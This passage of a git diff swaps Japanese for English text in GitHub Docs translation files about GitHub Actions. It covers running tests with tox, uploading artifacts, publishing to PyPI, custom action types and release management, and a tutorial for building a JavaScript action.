workflow will catch new issues. -### toxでのテストの実行 +### Running tests with tox -{% data variables.product.prodname_actions %}では、toxでテストを実行し、その処理を複数のジョブに分散できます。 toxを起動する際には、特定のバージョンを指定するのではなく、`-e py`オプションを使って`PATH`中のPythonのバージョンを選択しなければなりません。 詳しい情報については [tox](https://tox.readthedocs.io/en/latest/)を参照してください。 +With {% data variables.product.prodname_actions %}, you can run tests with tox and spread the work across multiple jobs. You'll need to invoke tox using the `-e py` option to choose the version of Python in your `PATH`, rather than specifying a specific version. For more information, see [tox](https://tox.readthedocs.io/en/latest/). {% raw %} ```yaml{:copy} @@ -360,11 +346,11 @@ jobs: ``` {% endraw %} -## 成果物としてのワークフローのデータのパッケージ化 +## Packaging workflow data as artifacts -ワークフローの完了後に、成果物をアップロードして見ることができます。 たとえば、ログファイル、コアダンプ、テスト結果、スクリーンショットを保存する必要があるかもしれません。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。 +You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." -以下の例は、`upload-artifact`アクションを使って`pytest`の実行によるテスト結果をアーカイブする方法を示しています。 詳しい情報については[`upload-artifact`アクション](https://github.com/actions/upload-artifact)を参照してください。 +The following example demonstrates how you can use the `upload-artifact` action to archive test results from running `pytest`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact). {% raw %} ```yaml{:copy} @@ -403,11 +389,11 @@ jobs: ``` {% endraw %} -## パッケージレジストリへの公開 +## Publishing to package registries -You can configure your workflow to publish your Python package to a package registry once your CI tests pass. This section demonstrates how you can use {% data variables.product.prodname_actions %} to upload your package to PyPI each time you [publish a release](/github/administering-a-repository/managing-releases-in-a-repository). +You can configure your workflow to publish your Python package to a package registry once your CI tests pass. This section demonstrates how you can use {% data variables.product.prodname_actions %} to upload your package to PyPI each time you [publish a release](/github/administering-a-repository/managing-releases-in-a-repository). -For this example, you will need to create two [PyPI API tokens](https://pypi.org/help/#apitoken). You can use secrets to store the access tokens or credentials needed to publish your package. 詳しい情報については、「[暗号化されたシークレットの作成と利用](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。 +For this example, you will need to create two [PyPI API tokens](https://pypi.org/help/#apitoken). You can use secrets to store the access tokens or credentials needed to publish your package. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -440,4 +426,4 @@ jobs: password: {% raw %}${{ secrets.PYPI_API_TOKEN }}{% endraw %} ``` -テンプレートワークフローに関する詳しい情報については、「[`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml)」を参照してください。 +For more information about the template workflow, see [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml). diff --git a/translations/ja-JP/content/actions/creating-actions/about-custom-actions.md b/translations/ja-JP/content/actions/creating-actions/about-custom-actions.md index 3f2b5bbcef..e52f91892a 100644 --- a/translations/ja-JP/content/actions/creating-actions/about-custom-actions.md +++ b/translations/ja-JP/content/actions/creating-actions/about-custom-actions.md @@ -1,6 +1,6 @@ --- title: About custom actions -intro: 'アクションは個々のタスクで、組み合わせてジョブを作成したりワークフローをカスタマイズしたりできます。 独自のアクションの作成、または {% data variables.product.prodname_dotcom %} コミュニティによって共有されるアクションの使用やカスタマイズができます。' +intro: 'Actions are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.' redirect_from: - /articles/about-actions - /github/automating-your-workflow-with-github-actions/about-actions @@ -24,149 +24,149 @@ topics: ## About custom actions -{% data variables.product.prodname_dotcom %}の API やパブリックに利用可能なサードパーティAPIとのインテグレーションなど、好きな方法でリポジトリを操作するカスタムコードを書いて、アクションを作成することができます。 たとえば、アクションでnpmモジュールを公開する、緊急のIssueが発生したときにSMSアラートを送信する、本番対応のコードをデプロイすることなどが可能です。 +You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.prodname_dotcom %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code. {% ifversion fpt or ghec %} -ワークフローで使用する独自のアクションを作成したり、ビルドしたアクションを{% data variables.product.prodname_dotcom %}コミュニティと共有したりできます。 ビルドしたアクションをシェアするには、リポジトリをパブリックにする必要があります。 +You can write your own actions to use in your workflow or share the actions you build with the {% data variables.product.prodname_dotcom %} community. To share actions you've built, your repository must be public. {% endif %} -アクションはマシン上で直接実行することも、Dockerコンテナで実行することもできます。 アクションの入力、出力、環境変数を定義できます。 +Actions can run directly on a machine or in a Docker container. You can define an action's inputs, outputs, and environment variables. -## アクションの種類 +## Types of actions -DockerコンテナのアクションとJavaScriptのアクションをビルドできます。 アクションには、アクションの入力、出力、およびメインのエントリポイントを定義するメタデータファイルが必要です。 このメタデータのファイル名は`action.yml`もしくは`action.yaml`でなければなりません。 詳しい情報については、「[{% data variables.product.prodname_actions %} のメタデータ構文](/articles/metadata-syntax-for-github-actions)」を参照してください。 +You can build Docker container and JavaScript actions. Actions require a metadata file to define the inputs, outputs and main entrypoint for your action. The metadata filename must be either `action.yml` or `action.yaml`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)." -| 種類 | オペレーティングシステム | -| ----------------- | ------------------- | -| Dockerコンテナ | Linux | -| JavaScript | Linux、MacOS、Windows | -| Composite Actions | Linux、MacOS、Windows | +| Type | Operating system | +| ---- | ------------------- | +| Docker container | Linux | +| JavaScript | Linux, macOS, Windows | +| Composite Actions | Linux, macOS, Windows | -### Docker コンテナアクション +### Docker container actions -Dockerコンテナは、{% data variables.product.prodname_actions %}コードで環境をパッケージ化します。 アクションの利用者がツールや依存関係を考慮しなくて済むため、作業単位の一貫性と信頼性が向上します。 +Docker containers package the environment with the {% data variables.product.prodname_actions %} code. This creates a more consistent and reliable unit of work because the consumer of the action does not need to worry about the tools or dependencies. -Dockerコンテナを使用すると、Osのバージョン、依存関係、ツール、コードを限定することができます。 特定の環境設定で実行しなければならないアクションの場合、オペレーティングシステムとツールを選択できるので、Dockerは理想的な選択肢です。 コンテナのビルドおよび取得のレイテンシにより、DockerコンテナのアクションはJavaScriptアクションより遅くなります。 +A Docker container allows you to use specific versions of an operating system, dependencies, tools, and code. For actions that must run in a specific environment configuration, Docker is an ideal option because you can customize the operating system and tools. Because of the latency to build and retrieve the container, Docker container actions are slower than JavaScript actions. -Docker コンテナアクションは、Linux オペレーティングシステムのランナーでのみ実行できます。 {% data reusables.github-actions.self-hosted-runner-reqs-docker %} +Docker container actions can only execute on runners with a Linux operating system. {% data reusables.github-actions.self-hosted-runner-reqs-docker %} -### JavaScriptアクション +### JavaScript actions -JavaScriptアクションはランナーマシン上で直接実行でき、アクションのコードはそのコードを実行するのに使われた環境から分離できます。 JavaScriptのアクションを使うと、アクションコードが単純になり、実行も Dockerコンテナのアクションより速くなります。 +JavaScript actions can run directly on a runner machine, and separate the action code from the environment used to run the code. Using a JavaScript action simplifies the action code and executes faster than a Docker container action. {% data reusables.github-actions.pure-javascript %} -Node.jsプロジェクトの開発では、{% data variables.product.prodname_actions %} Toolkitで提供するパッケージを使って、開発の速度を上げることができます。 詳しい情報については、[actions/toolkit](https://github.com/actions/toolkit) リポジトリ以下を参照してください。 +If you're developing a Node.js project, the {% data variables.product.prodname_actions %} Toolkit provides packages that you can use in your project to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. ### Composite Actions A _composite_ action allows you to combine multiple workflow steps within one action. For example, you can use this feature to bundle together multiple run commands into an action, and then have a workflow that executes the bundled commands as a single step using that action. To see an example, check out "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)". -## アクションの場所を選択する +## Choosing a location for your action -他のユーザーが使うアクションを開発する場合には、他のアプリケーションコードにバンドルするのではなく、アクションをそれ自体のリポジトリに保持しておくことをお勧めします。 こうすると、他のソフトウェアと同様にアクションのバージョニング、追跡、リリースが可能になるからです。 +If you're developing an action for other people to use, we recommend keeping the action in its own repository instead of bundling it with other application code. This allows you to version, track, and release the action just like any other software. {% ifversion fpt or ghec %} -アクションをそれ自体のリポジトリに保存すると、{% data variables.product.prodname_dotcom %}コミュニティがアクションを見つけやすくなります。また、開発者がアクションの問題を解決したり機能を拡張したりするとき、コードベースのスコープが限定され、アクションのバージョニングが他のアプリケーションコードのバージョニングから切り離されます。 +Storing an action in its own repository makes it easier for the {% data variables.product.prodname_dotcom %} community to discover the action, narrows the scope of the code base for developers fixing issues and extending the action, and decouples the action's versioning from the versioning of other application code. {% endif %} -{% ifversion fpt or ghec %} ビルドしているアクションをパブリックに公開する予定がない場合、{% else %}{% endif %}アクションのファイルはリポジトリのどの場所に保存してもかまいません。 アクション、ワークフロー、アプリケーションコードを 1 つのリポジトリで組み合わせる予定の場合、アクションは `.github` ディレクトリに保存することをお勧めします。 たとえば、`.github/actions/action-a`や`.github/actions/action-b`に保存します。 +{% ifversion fpt or ghec %}If you're building an action that you don't plan to make available to the public, you {% else %} You{% endif %} can store the action's files in any location in your repository. If you plan to combine action, workflow, and application code in a single repository, we recommend storing actions in the `.github` directory. For example, `.github/actions/action-a` and `.github/actions/action-b`. -## {% data variables.product.prodname_ghe_server %} との互換性 +## Compatibility with {% data variables.product.prodname_ghe_server %} To ensure that your action is compatible with {% data variables.product.prodname_ghe_server %}, you should make sure that you do not use any hard-coded references to {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API URLs. You should instead use environment variables to refer to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API: -- REST API の場合は、 `GITHUB_API_URL` 環境変数を使用します。 -- GraphQL の場合は、 `GITHUB_GRAPHQL_URL` 環境変数を使用します。 +- For the REST API, use the `GITHUB_API_URL` environment variable. +- For GraphQL, use the `GITHUB_GRAPHQL_URL` environment variable. -詳しい情報については、「[デフォルトの環境変数](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables)」を参照してください。 +For more information, see "[Default environment variables](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables)." -## アクションにリリース管理を使用する +## Using release management for actions -このセクションでは、リリース管理を使用してアクションへの更新を予測可能な方法で配布する方法について説明します。 +This section explains how you can use release management to distribute updates to your actions in a predictable way. -### リリース管理の良い方法 +### Good practices for release management -他のユーザが使用するアクションを開発している場合は、リリース管理を使用して、更新の配布方法を管理することをお勧めします。 既存のワークフローとの互換性を維持しつつ、アクションのメジャーバージョンに必要な重要な修正およびセキュリティパッチも含まれます。 変更が互換性に影響する場合は、新しいメジャーバージョンのリリースを検討する必要があります。 +If you're developing an action for other people to use, we recommend using release management to control how you distribute updates. Users can expect an action's major version to include necessary critical fixes and security patches, while still remaining compatible with their existing workflows. You should consider releasing a new major version whenever your changes affect compatibility. -このリリース管理アプローチでは、アクションが最新のコードを含む可能性が高く、結果として不安定になる可能性があるため、ユーザはアクションのデフォルトブランチを参照しないでください。 代わりに、ユーザにアクションの使用時にメジャーバージョンを指定するように勧めて、問題が発生した場合にのみ、特定のバージョンを指定するようにすることができます。 +Under this release management approach, users should not be referencing an action's default branch, as it's likely to contain the latest code and consequently might be unstable. Instead, you can recommend that your users specify a major version when using your action, and only direct them to a more specific version if they encounter issues. -特定のアクションのバージョンを使用するために、ユーザは {% data variables.product.prodname_actions %} ワークフローを設定して、タグ、コミットの SHA、またはリリースの名前が付けられたブランチをターゲットにすることができます。 +To use a specific action version, users can configure their {% data variables.product.prodname_actions %} workflow to target a tag, a commit's SHA, or a branch named for a release. -### タグを使用したリリース管理 +### Using tags for release management -アクションのリリース管理にはタグを使用することをお勧めします。 この方法を使用すると、ユーザはメジャーバージョンとマイナーバージョンを簡単に区別できます。 +We recommend using tags for actions release management. Using this approach, your users can easily distinguish between major and minor versions: -- リリースタグ（`v1.0.2` など）を作成する前に、リリースブランチ（`release/v1` など）でリリースを作成して検証します。 -- セマンティックバージョニングを使用してリリースを作成します。 詳細は「[リリースを作成する](/articles/creating-releases)」を参照してください。 -- 現在のリリースの Git ref を指すようにメジャーバージョンタグ（`v1`、`v2` など）を移動します。 詳細については、「[Gitの基本 - タグ](https://git-scm.com/book/en/v2/Git-Basics-Tagging)」を参照してください。 -- 既存のワークフローを破壊する破壊的変更のための新しいメジャーバージョンタグ（`v2`）を導入します。 たとえば、アクションの入力の変更は破壊的変更です。 -- メジャーバージョンは、最初のリリース時にそのステータスを示す `beta` タグ（`v2-beta` など）を付けることができます 。 その後、準備ができたら `-beta` タグを削除できます。 +- Create and validate a release on a release branch (such as `release/v1`) before creating the release tag (for example, `v1.0.2`). +- Create a release using semantic versioning. For more information, see "[Creating releases](/articles/creating-releases)." +- Move the major version tag (such as `v1`, `v2`) to point to the Git ref of the current release. For more information, see "[Git basics - tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging)." +- Introduce a new major version tag (`v2`) for changes that will break existing workflows. For example, changing an action's inputs would be a breaking change. +- Major versions can be initially released with a `beta` tag to indicate their status, for example, `v2-beta`. The `-beta` tag can then be removed when ready. -次の例は、ユーザがメジャーリリースタグを参照する方法を示しています。 +This example demonstrates how a user can reference a major release tag: ```yaml steps: - uses: actions/javascript-action@v1 ``` -次の例は、ユーザが特定のパッチリリースタグを参照する方法を示しています。 +This example demonstrates how a user can reference a specific patch release tag: ```yaml steps: - uses: actions/javascript-action@v1.0.1 ``` -### ブランチを使用したリリース管理 +### Using branches for release management -リリース管理にブランチ名を使用する場合、次の例では名前付きブランチを参照する方法を示しています。 +If you prefer to use branch names for release management, this example demonstrates how to reference a named branch: ```yaml steps: - uses: actions/javascript-action@v1-beta ``` -### コミットの SHA を使用したリリース管理 +### Using a commit's SHA for release management -各 Git コミットは、計算された SHA 値を受け取ります。これは一意で不変のものです。 アクションのユーザは、コミットの SHA 値に依存することを好む場合があります。削除や移動ができるタグを指定するよりこの方法のほうが信頼できるためです。 ただし、これは、ユーザがアクションに対して行われた更新をそれ以上受け取らないことを意味しています。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}コミットのSHA値は、短縮値ではなく完全な値を使わなければなりません。{% else %}コミットのSHA値として短縮値でなく完全な値を使うことで、同じ短縮値を使う悪意あるコミットを使ってしまうことを回避しやすくなります、{% endif %} +Each Git commit receives a calculated SHA value, which is unique and immutable. Your action's users might prefer to rely on a commit's SHA value, as this approach can be more reliable than specifying a tag, which could be deleted or moved. However, this means that users will not receive further updates made to the action. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value.{% else %}Using a commit's full SHA value instead of the abbreviated value can help prevent people from using a malicious commit that uses the same abbreviation.{% endif %} ```yaml steps: - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89 ``` -## アクションのREADMEファイルを作成する +## Creating a README file for your action -アクションをパブリックに共有する予定がある場合には、アクションの使用方法を伝えるため README ファイルを作成することをお勧めします。 `README.md` には、以下の情報を含めることができます: +We recommend creating a README file to help people learn how to use your action. You can include this information in your `README.md`: -- アクションが実行する内容の説明 -- 必須の入力引数と出力引数 -- オプションの入力引数と出力引数 -- アクションが使用するシークレット -- アクションが使用する環境変数 -- ワークフローにおけるアクションの使用例 +- A detailed description of what the action does +- Required input and output arguments +- Optional input and output arguments +- Secrets the action uses +- Environment variables the action uses +- An example of how to use your action in a workflow -## {% data variables.product.prodname_github_apps %}に対する{% data variables.product.prodname_actions %}の比較 +## Comparing {% data variables.product.prodname_actions %} to {% data variables.product.prodname_github_apps %} -{% data variables.product.prodname_marketplace %}は、ワークフローを改善するツールを提供します。 それぞれのツールの違いや利点を理解すれば、自分の作業に最も適したツールを選択できるようになります。 アプリケーションのビルドに関する詳しい情報については、「[アプリケーションについて](/apps/about-apps/)」を参照してください。 +{% data variables.product.prodname_marketplace %} offers tools to improve your workflow. Understanding the differences and the benefits of each tool will allow you to select the best tool for your job. For more information about building apps, see "[About apps](/apps/about-apps/)." -### GitHub ActionsとGitHub Appsの強み +### Strengths of GitHub Actions and GitHub Apps While both {% data variables.product.prodname_actions %} and {% data variables.product.prodname_github_apps %} provide ways to build automation and workflow tools, they each have strengths that make them useful in different ways. -{% data variables.product.prodname_github_apps %}は： -* 永続的に動作し、イベントに素早く反応できます。 -* 永続化されたデータが必要な場合にうまく動作します。 -* 時間のかからないAPIリクエストとうまく働きます。 -* ユーザが提供するサーバーあるいはコンピューティングインフラストラクチャ上で動作します。 +{% data variables.product.prodname_github_apps %}: +* Run persistently and can react to events quickly. +* Work great when persistent data is needed. +* Work best with API requests that aren't time consuming. +* Run on a server or compute infrastructure that you provide. -{% data variables.product.prodname_actions %}は： -* 継続的インテグレーションや継続的デプロイメントを実行する自動化を提供します。 -* ランナーマシン上で直接、あるいはDockerコンテナ内で実行できます。 -* リポジトリのクローンへのアクセスを含めて、コードにアクセスするツール、コードフォーマッタ、コマンドラインツールをデプロイしたり公開したりできます。 -* コードのデプロイやアプリケーションの提供が必要ありません。 -* シークレットの生成と利用のためのシンプルなインターフェースを持っており、アクションを利用する人の認証情報を保存せずにサードパーティのサービスとアクションを連携できます。 +{% data variables.product.prodname_actions %}: +* Provide automation that can perform continuous integration and continuous deployment. +* Can run directly on runner machines or in Docker containers. +* Can include access to a clone of your repository, enabling deployment and publishing tools, code formatters, and command line tools to access your code. +* Don't require you to deploy code or serve an app. +* Have a simple interface to create and use secrets, which enables actions to interact with third-party services without needing to store the credentials of the person using the action. -## 参考リンク +## Further reading -- "[{% data variables.product.prodname_actions %}の開発ツール](/articles/development-tools-for-github-actions)" +- "[Development tools for {% data variables.product.prodname_actions %}](/articles/development-tools-for-github-actions)" diff --git a/translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md b/translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md index 2e66500a80..660ebfdd95 100644 --- a/translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md +++ b/translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md @@ -1,6 +1,6 @@ --- -title: JavaScript アクションを作成する -intro: このガイドでは、アクションツールキットを使って JavaScript アクションをビルドする方法について学びます。 +title: Creating a JavaScript action +intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.' redirect_from: - /articles/creating-a-javascript-action - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action @@ -22,47 +22,47 @@ shortTitle: JavaScript action {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## はじめに +## Introduction -このガイドでは、パッケージ化されたJavaScriptのアクションを作成して使うために必要な、基本的コンポーネントについて学びます。 アクションのパッケージ化に必要なコンポーネントのガイドに焦点を当てるため、アクションのコードの機能は最小限に留めます。 このアクションは、ログに "Hello World" を出力するものです。また、カスタム名を指定した場合は、"Hello [who-to-greet]" を出力します。 +In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name. -このガイドでは、開発の速度を高めるために{% data variables.product.prodname_actions %} ToolkitのNode.jsモジュールを使います。 詳しい情報については、[actions/toolkit](https://github.com/actions/toolkit) リポジトリ以下を参照してください。 +This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. -このプロジェクトを完了すると、あなたの JavaScript コンテナのアクションをビルドして、ワークフローでテストする方法が理解できます +Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow. {% data reusables.github-actions.pure-javascript %} {% data reusables.github-actions.context-injection-warning %} -## 必要な環境 +## Prerequisites Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository. -1. Node.js 12.x をダウンロードして、インストールします。npm も Node.js 12.x に含まれています。 +1. Download and install Node.js 12.x, which includes npm. https://nodejs.org/en/download/current/ -1. Create a new public repository on {% data variables.product.product_location %} and call it "hello-world-javascript-action". 詳しい情報については、「[新しいリポジトリの作成](/articles/creating-a-new-repository)」を参照してください。 +1. Create a new public repository on {% data variables.product.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)." -1. リポジトリをお手元のコンピューターにクローンします。 詳しい情報については[リポジトリのクローン](/articles/cloning-a-repository)を参照してください。 +1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." -1. ターミナルから、ディレクトリを新しいリポジトリに変更します。 +1. From your terminal, change directories into your new repository. - ```shell + ```shell{:copy} cd hello-world-javascript-action ``` 1. From your terminal, initialize the directory with npm to generate a `package.json` file. - ```shell + ```shell{:copy} npm init -y ``` -## アクションのメタデータファイルの作成 +## Creating an action metadata file -Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. 詳しい情報については、「[{% data variables.product.prodname_actions %} のメタデータ構文](/actions/creating-actions/metadata-syntax-for-github-actions)」を参照してください。 +Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)." -```yaml +```yaml{:copy} name: 'Hello World' description: 'Greet someone and record the time' inputs: @@ -78,37 +78,37 @@ runs: main: 'index.js' ``` -このファイルは、`who-to-greet` 入力と `time` 出力を定義しています。 また、アクションのランナーに対して、この JavaScript アクションの実行を開始する方法を伝えています。 +This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action. -## アクションツールキットのパッケージの追加 +## Adding actions toolkit packages -アクションのツールキットは、Node.js パッケージのコレクションで、より一貫性を保ちつつ、JavaScript を素早く作成するためのものです。 +The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency. -ツールキットの [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) パッケージは、ワークフローコマンド、入力変数と出力変数、終了ステータス、およびデバッグメッセージへのインターフェースを提供します。 +The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages. -このツールキットは、認証された Octokit REST クライアントと GitHub Actions コンテキストへのアクセスを返す [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) パッケージも提供します。 +The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts. -ツールキットは、`core` や `github` パッケージ以外のものも提供しています。 詳しい情報については、[actions/toolkit](https://github.com/actions/toolkit) リポジトリ以下を参照してください。 +The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. -ターミナルで、アクションツールキットの `core` および `github` パッケージをインストールします。 +At your terminal, install the actions toolkit `core` and `github` packages. -```shell +```shell{:copy} npm install @actions/core npm install @actions/github ``` -これで、`node_modules` ディレクトリと先ほどインストールしたモジュール、`package-lock.json` ファイルとインストールしたモジュールの依存関係、およびインストールした各モジュールのバージョンが表示されるはずです。 +Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module. -## アクションのコードの記述 +## Writing the action code -このアクションは、ツールキットを使って、アクションのメタデータファイルに必要な `who-to-greet` 入力変数を取得し、ログのデバッグメッセージに "Hello [who-to-greet]" を出力します。 次に、スクリプトは現在の時刻を取得し、それをジョブ内で後に実行するアクションが利用できる出力変数に設定します。 +This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. -GitHub Actions は、webhook イベント、Git ref、ワークフロー、アクション、およびワークフローをトリガーした人に関するコンテキスト情報を提供します。 コンテキスト情報にアクセスするために、`github` パッケージを利用できます。 あなたの書くアクションが、webhook イベントペイロードをログに出力します。 +GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log. -以下のコードで、`index.js` と名付けた新しいファイルを追加してください。 +Add a new file called `index.js`, with the following code. {% raw %} -```javascript +```javascript{:copy} const core = require('@actions/core'); const github = require('@actions/github'); @@ -127,20 +127,20 @@ try { ``` {% endraw %} -上記の `index.js` の例でエラーがスローされた場合、`core.setFailed(error.message);` はアクションツールキット [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) パッケージを使用してメッセージをログに記録し、失敗の終了コードを設定します。 詳しい情報については「[アクションの終了コードの設定](/actions/creating-actions/setting-exit-codes-for-actions)」を参照してください。 +If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)." -## READMEの作成 +## Creating a README -アクションの使用方法を説明するために、README ファイルを作成できます。 README はアクションの公開を計画している時に非常に役立ちます。また、アクションの使い方をあなたやチームが覚えておく方法としても優れています。 +To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action. -`hello-world-javascript-action` ディレクトリの中に、以下の情報を指定した `README.md` ファイルを作成してください。 +In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information: -- アクションが実行する内容の詳細 -- 必須の入力引数と出力引数 -- オプションの入力引数と出力引数 -- アクションが使用するシークレット -- アクションが使用する環境変数 -- ワークフローでアクションを使う使用方法の例 +- A detailed description of what the action does. +- Required input and output arguments. +- Optional input and output arguments. +- Secrets the action uses. +- Environment variables the action uses. +- An example of how to use your action in a workflow. ```markdown # Hello world javascript action @@ -151,7 +151,7 @@ This action prints "Hello World" or "Hello" + the name of a person to greet to t ## `who-to-greet` -**Required** The name of the person to greet. デフォルトは `"World"`。 +**Required** The name of the person to greet. Default `"World"`. ## Outputs @@ -159,41 +159,46 @@ This action prints "Hello World" or "Hello" + the name of a person to greet to t The time we greeted you. -## 使用例 +## Example usage uses: actions/hello-world-javascript-action@v1.1 with: who-to-greet: 'Mona the Octocat' ``` -## アクションの GitHub へのコミットとタグ、プッシュ +## Commit, tag, and push your action to GitHub -{% data variables.product.product_name %} が、動作時にワークフロー内で実行される各アクションをダウンロードし、コードの完全なパッケージとして実行すると、ランナーマシンを操作するための`run` などのワークフローコマンドが使えるようになります。 つまり、JavaScript コードを実行するために必要なあらゆる依存関係を含める必要があります。 アクションのリポジトリに、ツールキットの `core` および `github` パッケージをチェックインする必要があります。 +{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository. -ターミナルから、`action.yml`、`index.js`、`node_modules`、`package.json`、`package-lock.json`、および `README.md` ファイルをコミットします。 `node_modules` を一覧表示する `.gitignore` ファイルを追加した場合、`node_modules` ディレクトリをコミットするため、その行を削除する必要があります。 +From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory. -アクションのリリースにはバージョンタグを加えることもベストプラクティスです。 アクションのバージョン管理の詳細については、「[アクションについて](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)」を参照してください。 +It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)." -```shell +```shell{:copy} git add action.yml index.js node_modules/* package.json package-lock.json README.md git commit -m "My first action is ready" git tag -a -m "My first action release" v1.1 git push --follow-tags ``` -`node_modules` ディレクトリをチェックインすると、問題が発生する可能性があります。 別の方法として、[`@vercel/ncc`](https://github.com/vercel/ncc) というツールを使用して、コードとモジュールを配布に使用する 1 つのファイルにコンパイルできます。 +Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution. -1. ターミナルで次のコマンドを実行し、`vercel/ncc` をインストールします: `npm i -g @vercel/ncc` +1. Install `vercel/ncc` by running this command in your terminal. + `npm i -g @vercel/ncc` -1. 次のコマンドで、`index.js` ファイルをコンパイルします: `ncc build index.js --license licenses.txt` +1. Compile your `index.js` file. + `ncc build index.js --license licenses.txt` - コードの書かれた、新しい `dist/index.js` ファイルと、コンパイルされたモジュールが表示されます。 また、使用している `node_modules` のすべてのライセンスを含む、`dist/licenses.txt` ファイルも表示されます。 + You'll see a new `dist/index.js` file with your code and the compiled modules. + You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using. -1. 新しい `dist/index.js` ファイルを利用するため、次のコマンドで `action.yml` の `main` キーワードを変更します: `main: 'dist/index.js'` +1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file. + `main: 'dist/index.js'` -1. すでに `node_modules` ディレクトリをチェックインしていた場合、次のコマンドで削除します: `rm -rf node_modules/*` +1. If you already checked in your `node_modules` directory, remove it. + `rm -rf node_modules/*` -1. ターミナルから、`action.yml`、`dist/index.js`、および `node_modules` ファイルをコミットします。 +1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files. ```shell git add action.yml dist/index.js node_modules/* git commit -m "Use vercel/ncc" @@ -201,20 +206,20 @@ git tag -a -m "My first action release" v1.1 git push --follow-tags ``` -## ワークフローでアクションをテストする +## Testing out your action in a workflow 